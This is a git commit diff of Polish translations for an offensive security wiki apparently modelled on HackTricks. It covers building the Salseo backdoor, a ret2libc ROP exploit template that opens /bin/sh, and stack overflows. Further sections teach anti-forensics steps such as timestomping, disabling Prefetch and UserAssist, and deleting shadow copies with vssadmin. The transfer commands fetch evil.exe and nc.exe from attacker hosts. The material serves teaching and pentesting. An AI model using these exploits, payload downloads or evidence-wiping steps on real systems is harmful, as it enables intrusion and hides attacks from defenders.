Translated ['src/backdoors/salseo.md', 'src/binary-exploitation/rop-retu

This commit is contained in:
Translator 2025-04-07 02:30:16 +00:00
parent 14f0720d9b
commit 550e58e70d
114 changed files with 3353 additions and 2554 deletions

View File

@ -284,8 +284,10 @@
- [Places to steal NTLM creds](windows-hardening/ntlm/places-to-steal-ntlm-creds.md)
- [Lateral Movement](windows-hardening/lateral-movement/README.md)
- [AtExec / SchtasksExec](windows-hardening/lateral-movement/atexec.md)
- [DCOM Exec](windows-hardening/lateral-movement/dcom-exec.md)
- [DCOM Exec](windows-hardening/lateral-movement/dcomexec.md)
- [PsExec/Winexec/ScExec](windows-hardening/lateral-movement/psexec-and-winexec.md)
- [RDPexec](windows-hardening/lateral-movement/rdpexec.md)
- [SCMexec](windows-hardening/lateral-movement/scmexec.md)
- [SmbExec/ScExec](windows-hardening/lateral-movement/smbexec.md)
- [WinRM](windows-hardening/lateral-movement/winrm.md)
- [WmiExec](windows-hardening/lateral-movement/wmiexec.md)
@ -299,6 +301,7 @@
- [PowerView/SharpView](windows-hardening/basic-powershell-for-pentesters/powerview.md)
- [Antivirus (AV) Bypass](windows-hardening/av-bypass.md)
- [Cobalt Strike](windows-hardening/cobalt-strike.md)
- [Mythic](windows-hardening/mythic.md)
# 📱 Mobile Pentesting

View File

@ -10,7 +10,7 @@ Skompiluj te projekty dla architektury komputera z systemem Windows, na którym
Możesz **wybrać architekturę** w Visual Studio w **lewej zakładce "Build"** w **"Platform Target".**
(\*\*Jeśli nie możesz znaleźć tych opcji, kliknij w **"Project Tab"** a następnie w **"\<Nazwa Projektu> Properties"**)
(**Jeśli nie możesz znaleźć tych opcji, kliknij w **"Project Tab"** a następnie w **"\<Project Name> Properties"**)
![](<../images/image (132).png>)
@ -34,7 +34,7 @@ EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
```
Ok, teraz masz wszystko, co potrzebne do wykonania całej operacji Salseo: **zakodowany EvilDalsa.dll** i **plik binarny SalseoLoader.**
**Prześlij plik binarny SalseoLoader.exe na maszynę. Nie powinny być wykrywane przez żadne AV...**
**Prześlij plik binarny SalseoLoader.exe na maszynę. Nie powinny być wykrywane przez żadne oprogramowanie antywirusowe...**
## **Wykonaj backdoora**
@ -85,11 +85,11 @@ Otwórz projekt SalseoLoader w Visual Studio.
#### **Wyszukaj pakiet DllExport (używając zakładki Przeglądaj) i naciśnij Zainstaluj (i zaakceptuj okno popup)**
![](<../images/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
![](<../images/image (4) (1) (1) (1) (1) (1) (1) (1) (1).png>)
W folderze projektu pojawiły się pliki: **DllExport.bat** i **DllExport_Configure.bat**
### **U**ninstall DllExport
### **U**ninstaluj DllExport
Naciśnij **Odinstaluj** (tak, to dziwne, ale uwierz mi, to konieczne)
@ -101,13 +101,13 @@ Po prostu **zamknij** Visual Studio
Następnie przejdź do swojego **folderu SalseoLoader** i **uruchom DllExport_Configure.bat**
Wybierz **x64** (jeśli zamierzasz używać go w środowisku x64, tak było w moim przypadku), wybierz **System.Runtime.InteropServices** (w **Namespace for DllExport**) i naciśnij **Zastosuj**
Wybierz **x64** (jeśli zamierzasz używać go w środowisku x64, tak było w moim przypadku), wybierz **System.Runtime.InteropServices** (w **Namespace dla DllExport**) i naciśnij **Zastosuj**
![](<../images/image (7) (1) (1) (1) (1).png>)
### **Otwórz projekt ponownie w Visual Studio**
**\[DllExport]** nie powinien być już oznaczony jako błąd
**\[DllExport]** nie powinno być już oznaczone jako błąd
![](<../images/image (8) (1).png>)
@ -125,7 +125,7 @@ Aby **zbudować** rozwiązanie: Buduj --> Zbuduj rozwiązanie (W konsoli wyjści
### Przetestuj wygenerowane Dll
Skopiuj i wklej Dll tam, gdzie chcesz go przetestować.
Skopiuj i wklej Dll tam, gdzie chcesz je przetestować.
Wykonaj:
```

View File

@ -32,9 +32,9 @@ return 0;
```bash
gcc -o vuln vuln.c -fno-stack-protector -no-pie
```
## ROP - Szablon wycieku LIBC
## ROP - Leaking LIBC template
Pobierz exploit i umieść go w tym samym katalogu co podatny binarny plik oraz przekaż potrzebne dane do skryptu:
Pobierz exploit i umieść go w tym samym katalogu co podatny binarny plik, a następnie przekaż potrzebne dane do skryptu:
{{#ref}}
rop-leaking-libc-template.md
@ -57,7 +57,7 @@ r.sendline(payload)
#cyclic_find(0x6161616b) # Find the offset of those bytes
return
```
**Wykonaj** `python template.py`, a konsola GDB zostanie otwarta z programem, który uległ awarii. Wewnątrz tej **konsoli GDB** wykonaj `x/wx $rsp`, aby uzyskać **bajty**, które miały nadpisać RIP. Na koniec uzyskaj **offset** za pomocą konsoli **python**:
**Wykonaj** `python template.py`, a konsola GDB zostanie otwarta z programem, który uległ awarii. Wewnątrz tej **konsoli GDB** wykonaj `x/wx $rsp`, aby uzyskać **bajty**, które miały nadpisać RIP. Na koniec uzyskaj **offset** używając konsoli **python**:
```python
from pwn import *
cyclic_find(0x6161616b)
@ -125,20 +125,20 @@ rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
```
To wyśle kilka bajtów, aż **nadpisanie** **RIP** będzie możliwe: `OFFSET`.\
Następnie ustawi **adres** gadżetu `POP_RDI`, aby następny adres (`FUNC_GOT`) został zapisany w rejestrze **RDI**. Dzieje się tak, ponieważ chcemy **wywołać puts**, **przekazując** mu **adres** `PUTS_GOT`, ponieważ adres w pamięci funkcji puts jest zapisany w adresie wskazywanym przez `PUTS_GOT`.\
Po tym zostanie wywołane `PUTS_PLT` (z `PUTS_GOT` wewnątrz **RDI**), aby puts **odczytał zawartość** wewnątrz `PUTS_GOT` (**adres funkcji puts w pamięci**) i **wydrukował go**.\
Po tym zostanie wywołane `PUTS_PLT` (z `PUTS_GOT` w **RDI**), aby puts **odczytał zawartość** wewnątrz `PUTS_GOT` (**adres funkcji puts w pamięci**) i **wydrukował go**.\
Na koniec **funkcja main jest wywoływana ponownie**, abyśmy mogli ponownie wykorzystać przepełnienie.
W ten sposób **oszukaliśmy funkcję puts**, aby **wydrukowała** **adres** w **pamięci** funkcji **puts** (która znajduje się w bibliotece **libc**). Teraz, gdy mamy ten adres, możemy **sprawdzić, która wersja libc jest używana**.
![](<../../../../images/image (1049).png>)
Ponieważ **eksploatujemy** lokalny binarny plik, **nie ma potrzeby** ustalania, która wersja **libc** jest używana (po prostu znajdź bibliotekę w `/lib/x86_64-linux-gnu/libc.so.6`).\
Jednak w przypadku zdalnego eksploatującego wyjaśnię tutaj, jak możesz to znaleźć:
Ponieważ **eksploatujemy** lokalny binarny plik, **nie ma potrzeby** ustalania, która wersja **libc** jest używana (wystarczy znaleźć bibliotekę w `/lib/x86_64-linux-gnu/libc.so.6`).\
Jednak w przypadku zdalnego ataku wyjaśnię tutaj, jak można to znaleźć:
### 3.1- Wyszukiwanie wersji libc (1)
Możesz wyszukać, która biblioteka jest używana na stronie internetowej: [https://libc.blukat.me/](https://libc.blukat.me)\
Pozwoli to również pobrać odkrytą wersję **libc**.
Możesz sprawdzić, która biblioteka jest używana na stronie: [https://libc.blukat.me/](https://libc.blukat.me)\
Pozwoli to również na pobranie odkrytej wersji **libc**.
![](<../../../../images/image (221).png>)
@ -181,9 +181,9 @@ __libc_start_main
read
gets
```
## 4- Znajdowanie adresu libc opartego na lokalizacji i eksploatacja
## 4- Znajdowanie adresu libc opartego na i eksploatacja
Na tym etapie powinniśmy znać używaną bibliotekę libc. Ponieważ eksploatujemy lokalny binarny plik, użyję tylko: `/lib/x86_64-linux-gnu/libc.so.6`
W tym momencie powinniśmy znać używaną bibliotekę libc. Ponieważ eksploatujemy lokalny binarny plik, użyję tylko: `/lib/x86_64-linux-gnu/libc.so.6`
Na początku `template.py` zmień zmienną **libc** na: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Ustaw ścieżkę do biblioteki, gdy ją znamy`
@ -198,7 +198,7 @@ log.info("libc base @ %s" % hex(libc.address))
> [!NOTE]
> Zauważ, że **ostateczny adres bazy libc musi kończyć się na 00**. Jeśli tak nie jest, mogłeś wyciekować niepoprawną bibliotekę.
Następnie adres funkcji `system` oraz **adres** do ciągu _"/bin/sh"_ będą **obliczane** na podstawie **adresu bazy** **libc** i podane **bibliotece libc.**
Następnie adres funkcji `system` oraz **adres** do ciągu _"/bin/sh"_ będą **obliczane** na podstawie **adresu bazy** **libc** i podany zostanie **biblioteka libc.**
```python
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
@ -219,16 +219,16 @@ p.interactive() #Interact with the conenction
```
Wyjaśnijmy ten ostatni ROP.\
Ostatni ROP (`rop1`) zakończył się ponownym wywołaniem funkcji main, więc możemy **ponownie wykorzystać** **przepełnienie** (dlatego `OFFSET` jest tutaj ponownie). Następnie chcemy wywołać `POP_RDI`, wskazując na **adres** _"/bin/sh"_ (`BINSH`) i wywołać funkcję **system** (`SYSTEM`), ponieważ adres _"/bin/sh"_ zostanie przekazany jako parametr.\
Na koniec **adres funkcji exit** jest **wywoływany**, aby proces **ładnie zakończył działanie** i nie wygenerował żadnego alertu.
Na koniec **wywoływana jest funkcja exit**, aby proces **zakończył się poprawnie** i nie wygenerowano żadnych alertów.
**W ten sposób exploit uruchomi powłokę \_/bin/sh**\_\*\*.\*\*
**W ten sposób exploit uruchomi powłokę _/bin/sh_.**
![](<../../../../images/image (165).png>)
## 4(2)- Używając ONE_GADGET
## 4(2)- Używanie ONE_GADGET
Możesz również użyć [**ONE_GADGET** ](https://github.com/david942j/one_gadget), aby uzyskać powłokę zamiast używać **system** i **"/bin/sh". ONE_GADGET** znajdzie w bibliotece libc sposób na uzyskanie powłoki, używając tylko jednego **adresu ROP**.\
Jednak zazwyczaj istnieją pewne ograniczenia, najczęstsze i łatwe do ominięcia to `[rsp+0x30] == NULL`. Ponieważ kontrolujesz wartości w **RSP**, musisz tylko wysłać kilka dodatkowych wartości NULL, aby ograniczenie zostało ominięte.
Jednak zazwyczaj istnieją pewne ograniczenia, najczęstsze i łatwe do ominięcia to `[rsp+0x30] == NULL`. Ponieważ kontrolujesz wartości wewnątrz **RSP**, musisz tylko wysłać kilka dodatkowych wartości NULL, aby ograniczenie zostało ominięte.
![](<../../../../images/image (754).png>)
```python

View File

@ -8,7 +8,7 @@
Głównym problemem tego nadpisania jest to, że **zapisany wskaźnik instrukcji (EIP/RIP)** oraz **zapisany wskaźnik bazowy (EBP/RBP)** do powrotu do poprzedniej funkcji są **przechowywane na stosie**. Dlatego atakujący będzie w stanie nadpisać je i **kontrolować przepływ wykonania programu**.
Luka ta zazwyczaj występuje, ponieważ funkcja **kopiuje na stos więcej bajtów niż przydzielona ilość**, co pozwala na nadpisanie innych części stosu.
Luka ta zazwyczaj występuje, ponieważ funkcja **kopiuje na stos więcej bajtów niż ilość przydzielona dla niej**, co pozwala na nadpisanie innych części stosu.
Niektóre powszechne funkcje podatne na to to: **`strcpy`, `strcat`, `sprintf`, `gets`**... Ponadto funkcje takie jak **`fgets`**, **`read` i `memcpy`**, które przyjmują **argument długości**, mogą być używane w sposób podatny, jeśli określona długość jest większa niż przydzielona.
@ -25,9 +25,9 @@ printf("You entered: %s\n", buffer);
Najczęstszym sposobem na znalezienie przepełnień stosu jest podanie bardzo dużego wejścia z `A`s (np. `python3 -c 'print("A"*1000)'`) i oczekiwanie na `Segmentation Fault`, co wskazuje, że **adres `0x41414141` próbował być dostępny**.
Ponadto, gdy już znajdziesz, że istnieje luka w przepełnieniu stosu, będziesz musiał znaleźć przesunięcie, aż będzie możliwe **nadpisanie adresu powrotu**. W tym celu zazwyczaj używa się **sekwencji De Brujna**. Która dla danego alfabetu o rozmiarze _k_ i podsekwencji o długości _n_ jest **cykliczną sekwencją, w której każda możliwa podsekwencja o długości \_n**\_\*\* występuje dokładnie raz\*\* jako sąsiadująca podsekwencja.
Ponadto, gdy już znajdziesz, że istnieje luka w przepełnieniu stosu, będziesz musiał znaleźć przesunięcie, aż będzie możliwe **nadpisanie adresu powrotu**, do tego zazwyczaj używa się **sekwencji De Bruijn.** Która dla danego alfabetu o rozmiarze _k_ i podsekwencji o długości _n_ jest **cykliczną sekwencją, w której każda możliwa podsekwencja o długości _n_ pojawia się dokładnie raz** jako ciągła podsekwencja.
W ten sposób, zamiast ręcznie ustalać, które przesunięcie jest potrzebne do kontrolowania EIP, można użyć jako wypełnienia jednej z tych sekwencji, a następnie znaleźć przesunięcie bajtów, które zakończyły nadpisanie.
W ten sposób, zamiast ręcznie ustalać, które przesunięcie jest potrzebne do kontrolowania EIP, można użyć jako wypełnienia jednej z tych sekwencji, a następnie znaleźć przesunięcie bajtów, które zakończyły nadpisywanie.
Można użyć **pwntools** do tego:
```python
@ -53,17 +53,17 @@ pattern search $rsp #Search the offset given the content of $rsp
Podczas przepełnienia (zakładając, że rozmiar przepełnienia jest wystarczająco duży) będziesz w stanie **nadpisać** wartości lokalnych zmiennych w stosie, aż do osiągnięcia zapisanych **EBP/RBP i EIP/RIP (lub nawet więcej)**.\
Najczęstszym sposobem nadużywania tego typu podatności jest **modyfikacja adresu powrotu**, aby po zakończeniu funkcji **przepływ kontroli został przekierowany tam, gdzie użytkownik wskazał** w tym wskaźniku.
Jednak w innych scenariuszach może wystarczyć tylko **nadpisanie niektórych wartości zmiennych w stosie** do wykorzystania podatności (jak w łatwych wyzwaniach CTF).
Jednak w innych scenariuszach może wystarczyć tylko **nadpisanie niektórych wartości zmiennych w stosie** do wykorzystania (jak w łatwych wyzwaniach CTF).
### Ret2win
W tego typu wyzwaniach CTF, istnieje **funkcja** **wewnątrz** binarnego, która **nigdy nie jest wywoływana** i którą **musisz wywołać, aby wygrać**. W tych wyzwaniach musisz tylko znaleźć **offset do nadpisania adresu powrotu** i **znaleźć adres funkcji**, którą chcesz wywołać (zwykle [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) będzie wyłączony), aby po powrocie z podatnej funkcji, ukryta funkcja została wywołana:
W tego typu wyzwaniach CTF, istnieje **funkcja** **wewnątrz** binarnego pliku, która **nigdy nie jest wywoływana** i którą **musisz wywołać, aby wygrać**. W tych wyzwaniach musisz tylko znaleźć **offset do nadpisania adresu powrotu** i **znaleźć adres funkcji**, którą chcesz wywołać (zwykle [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) będzie wyłączone), aby po powrocie z funkcji podatnej, ukryta funkcja została wywołana:
{{#ref}}
ret2win/
{{#endref}}
### Shellcode w stosie
### Shellcode na stosie
W tym scenariuszu atakujący mógłby umieścić shellcode w stosie i nadużyć kontrolowanego EIP/RIP, aby skoczyć do shellcode i wykonać dowolny kod:
@ -73,7 +73,7 @@ stack-shellcode/
### Techniki ROP i Ret2...
Ta technika jest podstawowym frameworkiem do obejścia głównej ochrony poprzedniej techniki: **Brak wykonywalnego stosu (NX)**. Umożliwia to wykonanie kilku innych technik (ret2lib, ret2syscall...), które kończą się wykonaniem dowolnych poleceń poprzez nadużycie istniejących instrukcji w binarnym:
Ta technika jest podstawowym frameworkiem do obejścia głównej ochrony poprzedniej techniki: **Brak wykonywalnego stosu (NX)**. Umożliwia to wykonanie kilku innych technik (ret2lib, ret2syscall...), które zakończą się wykonaniem dowolnych poleceń poprzez nadużycie istniejących instrukcji w binarnym pliku:
{{#ref}}
../rop-return-oriented-programing/

View File

@ -4,7 +4,7 @@
## Online Hashes DBs
- _**Wyszukaj w Google**_
- _**Google to**_
- [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240)
- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com)
- [https://crackstation.net/](https://crackstation.net)
@ -184,7 +184,7 @@ Litery do ich wartości numerycznej
```
### Szyfr Afiniczny Kodowanie
Litera na numer `(ax+b)%26` (_a_ i _b_ to klucze, a _x_ to litera) i wynik z powrotem na literę
Litera na num `(ax+b)%26` (_a_ i _b_ to klucze, a _x_ to litera) i wynik z powrotem na literę
```
krodfdudfrod
```
@ -192,9 +192,9 @@ krodfdudfrod
**Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) przez powtarzające się cyfry zdefiniowane przez odpowiadający kod klawisza na mobilnej [klawiaturze telefonu](https://www.dcode.fr/phone-keypad-cipher) (Ten tryb jest używany podczas pisania SMS).\
Na przykład: 2=A, 22=B, 222=C, 3=D...\
Możesz zidentyfikować ten kod, ponieważ zobaczysz\*\* kilka powtarzających się cyfr\*\*.
Możesz zidentyfikować ten kod, ponieważ zobaczysz **wiele powtarzających się cyfr**.
Możesz dekodować ten kod w: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
Możesz zdekodować ten kod w: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
### Bacon Code

View File

@ -120,7 +120,7 @@ Sprawdź wszystkie te bazy za pomocą: [https://github.com/dhondta/python-codext
```
╫☐↑Λ↻Λ┏Λ↻☐↑Λ
```
- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Martwy: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
### Morse
```
@ -184,21 +184,21 @@ Litery do ich wartości numerycznej
```
### Szyfr Afiniczny Kodowanie
Litera na numer `(ax+b)%26` (_a_ i _b_ to klucze, a _x_ to litera) i wynik z powrotem na literę
Litera na num `(ax+b)%26` (_a_ i _b_ to klucze, a _x_ to litera) i wynik z powrotem na literę
```
krodfdudfrod
```
### SMS Code
**Multitap** [zastępuje literę](https://www.dcode.fr/word-letter-change) powtarzanymi cyframi zdefiniowanymi przez odpowiadający kod klawisza na mobilnej [klawiaturze telefonu](https://www.dcode.fr/phone-keypad-cipher) (Ten tryb jest używany podczas pisania SMS).\
**Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) przez powtarzające się cyfry zdefiniowane przez odpowiadający kod klawisza na mobilnej [klawiaturze telefonu](https://www.dcode.fr/phone-keypad-cipher) (Ten tryb jest używany podczas pisania SMS).\
Na przykład: 2=A, 22=B, 222=C, 3=D...\
Możesz zidentyfikować ten kod, ponieważ zobaczysz\*\* kilka powtarzających się cyfr\*\*.
Możesz zidentyfikować ten kod, ponieważ zobaczysz **wiele powtarzających się cyfr**.
Możesz odszyfrować ten kod w: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
### Bacon Code
Zastąp każdą literę 4 A lub B (lub 1s i 0s)
Substitude każdą literę na 4 A lub B (lub 1s i 0s)
```
00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000
AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA

View File

@ -2,16 +2,16 @@
# Timestamps
Atakujący może być zainteresowany **zmianą znaczników czasu plików**, aby uniknąć wykrycia.\
Możliwe jest znalezienie znaczników czasu w MFT w atrybutach `$STANDARD_INFORMATION` ** i ** `$FILE_NAME`.
Atakujący może być zainteresowany **zmianą znaczników czasowych plików**, aby uniknąć wykrycia.\
Możliwe jest znalezienie znaczników czasowych w MFT w atrybutach `$STANDARD_INFORMATION`**i**`$FILE_NAME`.
Oba atrybuty mają 4 znaczniki czasu: **Modyfikacja**, **dostęp**, **utworzenie** i **modyfikacja rejestru MFT** (MACE lub MACB).
Oba atrybuty mają 4 znaczniki czasowe: **Modyfikacja**, **dostęp**, **utworzenie** i **modyfikacja rejestru MFT** (MACE lub MACB).
**Eksplorator Windows** i inne narzędzia pokazują informacje z **`$STANDARD_INFORMATION`**.
## TimeStomp - Narzędzie antyforensyczne
To narzędzie **modyfikuje** informacje o znaczniku czasu wewnątrz **`$STANDARD_INFORMATION`** **ale** **nie** informacje wewnątrz **`$FILE_NAME`**. Dlatego możliwe jest **zidentyfikowanie** **podejrzanej** **aktywności**.
To narzędzie **modyfikuje** informacje o znaczniku czasowym wewnątrz **`$STANDARD_INFORMATION`**, **ale** **nie** modyfikuje informacji wewnątrz **`$FILE_NAME`**. Dlatego możliwe jest **zidentyfikowanie** **podejrzanej** **aktywności**.
## Usnjrnl
@ -29,7 +29,7 @@ Poprzedni obrazek to **wyjście** pokazane przez **narzędzie**, gdzie można za
Ponownie, w wyjściu narzędzia można zobaczyć, że **wprowadzono pewne zmiany**.
Używając tego samego narzędzia, można zidentyfikować, **do którego czasu zmieniono znaczniki czasu**:
Używając tego samego narzędzia, można zidentyfikować, **do którego czasu zmieniono znaczniki czasowe**:
![](<../../images/image (451).png>)
@ -44,11 +44,11 @@ Innym sposobem na zidentyfikowanie podejrzanych zmodyfikowanych plików byłoby
## Nanosekundy
**Znaczniki czasu NTFS** mają **precyzję** **100 nanosekund**. Dlatego znalezienie plików z znacznikami czasu takimi jak 2010-10-10 10:10:**00.000:0000 jest bardzo podejrzane**.
**Znaczniki czasowe NTFS** mają **precyzję** **100 nanosekund**. Dlatego znalezienie plików z znacznikami czasowymi takimi jak 2010-10-10 10:10:**00.000:0000 jest bardzo podejrzane**.
## SetMace - Narzędzie antyforensyczne
To narzędzie może modyfikować oba atrybuty `$STARNDAR_INFORMATION` i `$FILE_NAME`. Jednak od Windows Vista, konieczne jest, aby system operacyjny na żywo mógł modyfikować te informacje.
To narzędzie może modyfikować oba atrybuty `$STARNDAR_INFORMATION` i `$FILE_NAME`. Jednak od Windows Vista, konieczne jest, aby system operacyjny na żywo modyfikował te informacje.
# Ukrywanie danych
@ -62,8 +62,8 @@ Wtedy możliwe jest odzyskanie przestrzeni slack za pomocą narzędzi takich jak
# UsbKill
To narzędzie, które **wyłączy komputer, jeśli wykryje jakiekolwiek zmiany w portach USB**.\
Sposobem na odkrycie tego byłoby sprawdzenie uruchomionych procesów i **przejrzenie każdego uruchomionego skryptu python**.
To narzędzie, które **wyłączy komputer, jeśli wykryje jakąkolwiek zmianę w portach USB**.\
Sposobem na odkrycie tego byłoby sprawdzenie uruchomionych procesów i **przejrzenie każdego uruchomionego skryptu Pythona**.
# Dystrybucje Live Linux
@ -77,7 +77,7 @@ Te dystrybucje są **uruchamiane w pamięci RAM**. Jedynym sposobem na ich wykry
Możliwe jest wyłączenie kilku metod logowania w systemie Windows, aby znacznie utrudnić dochodzenie forensyczne.
## Wyłącz znaczniki czasu - UserAssist
## Wyłącz znaczniki czasowe - UserAssist
To klucz rejestru, który utrzymuje daty i godziny, kiedy każdy plik wykonywalny był uruchamiany przez użytkownika.
@ -86,7 +86,7 @@ Wyłączenie UserAssist wymaga dwóch kroków:
1. Ustawienie dwóch kluczy rejestru, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` i `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, oba na zero, aby sygnalizować, że chcemy wyłączyć UserAssist.
2. Wyczyść swoje poddrzewa rejestru, które wyglądają jak `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<hash>`.
## Wyłącz znaczniki czasu - Prefetch
## Wyłącz znaczniki czasowe - Prefetch
To zapisze informacje o aplikacjach uruchamianych w celu poprawy wydajności systemu Windows. Jednak może to być również przydatne w praktykach forensycznych.
@ -96,13 +96,13 @@ To zapisze informacje o aplikacjach uruchamianych w celu poprawy wydajności sys
- Wybierz Modyfikuj dla każdego z nich, aby zmienić wartość z 1 (lub 3) na 0
- Uruchom ponownie
## Wyłącz znaczniki czasu - Czas ostatniego dostępu
## Wyłącz znaczniki czasowe - Czas ostatniego dostępu
Kiedy folder jest otwierany z woluminu NTFS na serwerze Windows NT, system zajmuje czas na **aktualizację pola znacznika czasu w każdym wymienionym folderze**, nazywanego czasem ostatniego dostępu. Na mocno używanym woluminie NTFS może to wpłyć na wydajność.
Kiedy folder jest otwierany z woluminu NTFS na serwerze Windows NT, system zajmuje czas na **aktualizację pola znacznika czasowego w każdym wymienionym folderze**, nazywanego czasem ostatniego dostępu. Na mocno używanym woluminie NTFS może to wpływać na wydajność.
1. Otwórz Edytor rejestru (Regedit.exe).
2. Przejdź do `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`.
3. Poszukaj `NtfsDisableLastAccessUpdate`. Jeśli nie istnieje, dodaj ten DWORD i ustaw jego wartość na 1, co wyłączy ten proces.
3. Poszukaj `NtfsDisableLastAccessUpdate`. Jeśli nie istnieje, dodaj ten DWORD i ustaw jego wartość na 1, co wyłączy proces.
4. Zamknij Edytor rejestru i uruchom ponownie serwer.
## Usuń historię USB
@ -110,22 +110,22 @@ Kiedy folder jest otwierany z woluminu NTFS na serwerze Windows NT, system zajmu
Wszystkie **Wpisy urządzeń USB** są przechowywane w rejestrze Windows pod kluczem **USBSTOR**, który zawiera podklucze tworzone za każdym razem, gdy podłączasz urządzenie USB do swojego komputera lub laptopa. Możesz znaleźć ten klucz tutaj `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Usunięcie tego** spowoduje usunięcie historii USB.\
Możesz również użyć narzędzia [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html), aby upewnić się, że je usunąłeś (i aby je usunąć).
Innym plikiem, który zapisuje informacje o USB, jest plik `setupapi.dev.log` w `C:\Windows\INF`. Ten plik również powinien zostać usunięty.
Innym plikiem, który zapisuje informacje o USB, jest plik `setupapi.dev.log` wewnątrz `C:\Windows\INF`. Ten plik również powinien zostać usunięty.
## Wyłącz kopie zapasowe
**Wylistuj** kopie zapasowe za pomocą `vssadmin list shadowstorage`\
**Lista** kopii zapasowych za pomocą `vssadmin list shadowstorage`\
**Usuń** je, uruchamiając `vssadmin delete shadow`
Możesz również usunąć je za pomocą GUI, postępując zgodnie z krokami zaproponowanymi w [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)
Możesz również usunąć je za pomocą GUI, postępując zgodnie z krokami opisanymi w [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)
Aby wyłączyć kopie zapasowe, [kroki stąd](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows):
1. Otwórz program Usługi, wpisując "services" w polu wyszukiwania tekstowego po kliknięciu przycisku start w Windows.
1. Otwórz program Usługi, wpisując "usługi" w polu wyszukiwania tekstowego po kliknięciu przycisku start w Windows.
2. Z listy znajdź "Kopia zapasowa woluminu", wybierz ją, a następnie uzyskaj dostęp do Właściwości, klikając prawym przyciskiem myszy.
3. Wybierz Wyłączone z rozwijanego menu "Typ uruchomienia", a następnie potwierdź zmianę, klikając Zastosuj i OK.
Możliwe jest również modyfikowanie konfiguracji, które pliki będą kopiowane w kopii zapasowej w rejestrze `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`
Możliwe jest również modyfikowanie konfiguracji, które pliki mają być kopiowane w kopii zapasowej w rejestrze `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`
## Nadpisz usunięte pliki

View File

@ -42,10 +42,10 @@ Start-BitsTransfer -Source $url -Destination $output
#OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
```
### Przesyłanie plików
### Upload files
- [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
- [**SimpleHttpServer drukujący GET i POST (także nagłówki)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
- [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
- Moduł Pythona [uploadserver](https://pypi.org/project/uploadserver/):
```bash
# Listen to files
@ -234,7 +234,7 @@ sudo python -m smtpd -n -c DebuggingServer :25
```
## TFTP
Domyślnie w XP i 2003 (w innych musi być wyraźnie dodany podczas instalacji)
Domyślnie w XP i 2003 (w innych systemach musi być wyraźnie dodany podczas instalacji)
W Kali, **uruchom serwer TFTP**:
```bash
@ -248,13 +248,13 @@ cp /path/tp/nc.exe /tftp
pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
```
W **victim** połącz się z serwerem Kali:
W **victim**, połącz się z serwerem Kali:
```bash
tftp -i <KALI-IP> get nc.exe
```
## PHP
Pobierz plik z onelinerem PHP:
Pobierz plik z PHP onelinerem:
```bash
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
```
@ -296,7 +296,7 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
```
## Debug.exe
Program `debug.exe` nie tylko umożliwia inspekcję plików binarnych, ale także ma **zdolność do ich odbudowy z hex**. Oznacza to, że podając hex pliku binarnego, `debug.exe` może wygenerować plik binarny. Jednak ważne jest, aby zauważyć, że debug.exe ma **ograniczenie w składaniu plików do 64 kb**.
